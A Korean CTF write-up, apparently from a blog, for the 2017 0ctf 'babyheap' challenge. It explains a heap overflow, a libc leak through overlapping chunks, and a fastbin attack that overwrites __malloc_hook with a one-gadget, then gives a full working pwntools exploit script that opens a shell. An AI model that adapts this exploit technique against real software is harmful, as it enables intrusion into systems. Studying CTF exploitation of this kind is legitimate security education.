2017 0ctf babyheap
alloc 사이즈를 4096 이하 맘대로 정할 수 있다. calloc으로 할당시 할당한 데이터 공간을 모두 0으로 초기화 시키므로 주의!
원하는 heap에 원하는 size만큼 정보를 넣을 수 있다. 아주 큰 heap overflow가 터진다. 이렇게 자유분방한 문제일수록 아직은 바로 딱 익스가 생각이 안나네유ㅜㅠ
free에서 heap free 가능, dump에서 leak이 가능하다.
힙 내에 overlapping chunk를 만든 후 heap overflow를 내서 calloc으로 초기화된 chunk의 header를 다시 써준 다음 free시키고 main arena를 leak하면 된다.
그 다음 unlink는 unsafe가 안되니 패스하고 house of spirit을 사용하면 될 것 같다.
여기서 주의할 점은 처음에 free시킨 unsortedbin을 bin에서 제거 후 하는게 더 깔끔하다. (0x60 unsortedbin일때 0x30 할당하면 크기 짜르고 bin에 다시 들어가면서 unlink를 수행하기 때문에 따로 또 설정해주지 않는 이상 chunksize(P) != prev_size(P->nextchunk))에 걸린다.)
64비트 환경에서는 메모리에 0x7f가 다수 존재하여 fake chunk를 쉽게 만들 수 있다. 이 문제는 FULL_RELRO가 걸려있어 got는 덮을 수 없고 malloc_hook, free_hook 둘 중 하나를 덮어야 하는데 free_hook 주변에는 쓸만한 chunk size가 없기 떄문에 malloc_hook을 oneshot으로 덮으면 될 것 같다. (장문충 ㅈㅅ)
풀고보니 이게 왜 babyheap인지 모르겠다..
익스플로잇 흐름도는 다음과 같다.
from pwn import *
context.clear(arch='amd64')
e = ELF('./babyheap')
s = process('./babyheap')
l = ELF('./libc.so.6')
sl = lambda x: s.sendline(x)
ru = lambda x: s.recvuntil(x)
io = lambda : s.interactive()
p = lambda : pause()
def menu(sel):
ru('Command: ')
sl(sel)
def alloc(size):
menu('1')
ru('Size: ')
sl(size)
def fill(idx, size, content):
menu('2')
ru('Index: ')
sl(idx)
ru('Size: ')
sl(size)
ru('Content: ')
sl(content)
def free(idx):
menu('3')
ru('Index: ')
sl(idx)
def dump(idx):
menu('4')
ru('Index: ')
sl(idx)
alloc(str(0x100)) #0
alloc(str(0x100)) #1
alloc(str(0x80)) #2
alloc(str(0x20)) #3
free('1')
fill('0', str(0x100+16), 'A'*(0x100+8) + p64(0x181))
alloc(str(0x180-16)) #1
fill('1', str(0x100+16), 'A'*(0x100+8) + p64(0x91))
free('2')
fill('1', str(0x100+16), 'A'*(0x100+8) + p64(0x31))
dump('1')
ru('A'*(0x100+8))
s.recv(8)
leak = u64(s.recv(8))
print('leak!: {}'.format(hex(leak)))
libc_base = leak - 0x3c4b78
print('libc_base!: {}'.format(hex(libc_base)))
malloc_hook = libc_base + 0x3c4aed
print('malloc_hook!: {}'.format(hex(malloc_hook)))
system = libc_base + l.symbols['system']
print('system!: {}'.format(hex(system)))
one = libc_base + 0x4526a
alloc(str(0x20)) # 2
alloc(str(0x60)) # 4
alloc(str(0x60)) # 5
free('5')
fill('4', str(0x60+24), 'A'*(0x60+8) + p64(0x71) +p64(malloc_hook))
alloc(str(0x60)) # 5
alloc(str(0x60)) # 6
fill('6', str(3+24), 'A'*(3+16) + p64(one))
alloc(str(0x20)) # trigger
io()
'system > writeup' 카테고리의 다른 글
2017 secuinside ohce (0) | 2019.01.21 |
---|---|
2016 codefate floppy (0) | 2019.01.20 |
pwnable.tw applestore (0) | 2019.01.19 |
pwnable.tw dubblesort (0) | 2019.01.17 |
2017 34c3 simpleGC (0) | 2019.01.16 |